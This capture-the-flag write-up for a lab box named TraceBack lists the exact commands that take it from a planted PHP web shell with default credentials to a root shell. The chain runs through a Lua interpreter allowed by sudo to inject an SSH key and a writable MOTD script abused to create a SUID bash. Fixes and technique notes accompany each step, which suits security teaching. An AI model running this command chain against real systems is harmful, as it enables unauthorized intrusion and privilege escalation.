TraceBack
Summary
I located a PHP web shell that a prior intruder had planted on the Apache server and logged in using its factory-default credentials, gaining remote code execution as the webadmin account. A misconfigured passwordless sudo rule then let webadmin run the Lua interpreter as sysadmin, which I abused to inject an SSH key and pivot to that account.
Finally, sysadmin held write permission over a root-owned Message-of-the-Day script that Ubuntu executes automatically on every SSH login — appending a malicious payload there and triggering it via a new SSH session handed me a root shell and full control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
Full TCP port scan with service version detection.
$ nmap -sV -p- --min-rate 5000 $TARGETRead the index page source for HTML comments or my notes.
$ curl -si http://$TARGET/Exact commands 2
Direct check — confirms the shell exists without a full directory scan.
$ curl -s http://$TARGET/smevk.php | grep -i '<title>'Fallback: enumerate web root against a backdoor-filename wordlist if the direct path were unknown.
$ gobuster dir -u http://$TARGET/ -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x phpFixRemove the unauthorized web shell and audit the web root for unknown filesCritical
Exact commands 1
Authenticate with default creds, then invoke the shell's console endpoint to run 'id; hostname; pwd'.
$ tmp=$(mktemp); curl -sS -c "$tmp" -b "$tmp" -d 'uname=admin&pass=admin&login=Login' http://$TARGET/smevk.php >/dev/null; curl -sS -b "$tmp" --data-urlencode 'a=Console' --data-urlencode 'c=/var/www/html/' --data-urlencode 'p1=id; hostname; pwd' --data-urlencode 'p2=' --data-urlencode 'p3=' --data-urlencode 'charset=UTF-8' http://$TARGET/smevk.phpFixEliminate default credentials on all web-facing management interfacesCritical
Exact commands 3
Confirm webadmin's sudo rights — reveals the luvit rule.
$ # Execute through the smevk.php console:
sudo -lWrite Lua payload to /tmp/plant.lua. Replace YOUR_ED25519_PUBLIC_KEY with my public key.
$ echo 'os.execute("mkdir -p /home/sysadmin/.ssh && echo YOUR_ED25519_PUBLIC_KEY >> /home/sysadmin/.ssh/authorized_keys")' > /tmp/plant.luaExecute the Lua payload as sysadmin, planting the SSH key.
$ sudo -u sysadmin /home/sysadmin/luvit /tmp/plant.luaFixRemove the passwordless sudo rule that lets webadmin run a scripting interpreter as sysadminCritical
Exact commands 2
Generate the keypair whose public half was planted in step 4. Skip if the key already exists.
$ ssh-keygen -t ed25519 -f /tmp/traceback_ed25519 -N ''Login as sysadmin and read the user flag. Flag value is <user.txt>.
$ ssh -i /tmp/traceback_ed25519 -o StrictHostKeyChecking=no sysadmin@$TARGET 'id; cat /home/sysadmin/user.txt'
uid=1001(sysadmin)Exact commands 3
Confirm sysadmin can write to the MOTD scripts.
$ ssh -i /tmp/traceback_ed25519 sysadmin@$TARGET 'ls -la /etc/update-motd.d/'Append the SUID-bash payload to the MOTD header script.
$ ssh -i /tmp/traceback_ed25519 sysadmin@$TARGET "printf '\ncp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash\n' >> /etc/update-motd.d/00-header"Trigger a fresh SSH login; PAM runs 00-header as root, creating /tmp/rootbash with the SUID bit set.
$ ssh -tt -i /tmp/traceback_ed25519 -o StrictHostKeyChecking=no sysadmin@$TARGET 'exit'FixRestrict write access to MOTD update scripts executed as rootCritical
Exact commands 1
Run the SUID bash copy with -p to preserve root euid. Flag value is <root.txt>.
$ ssh -i /tmp/traceback_ed25519 sysadmin@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'
uid=1001(sysadmin) euid=0(root)Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.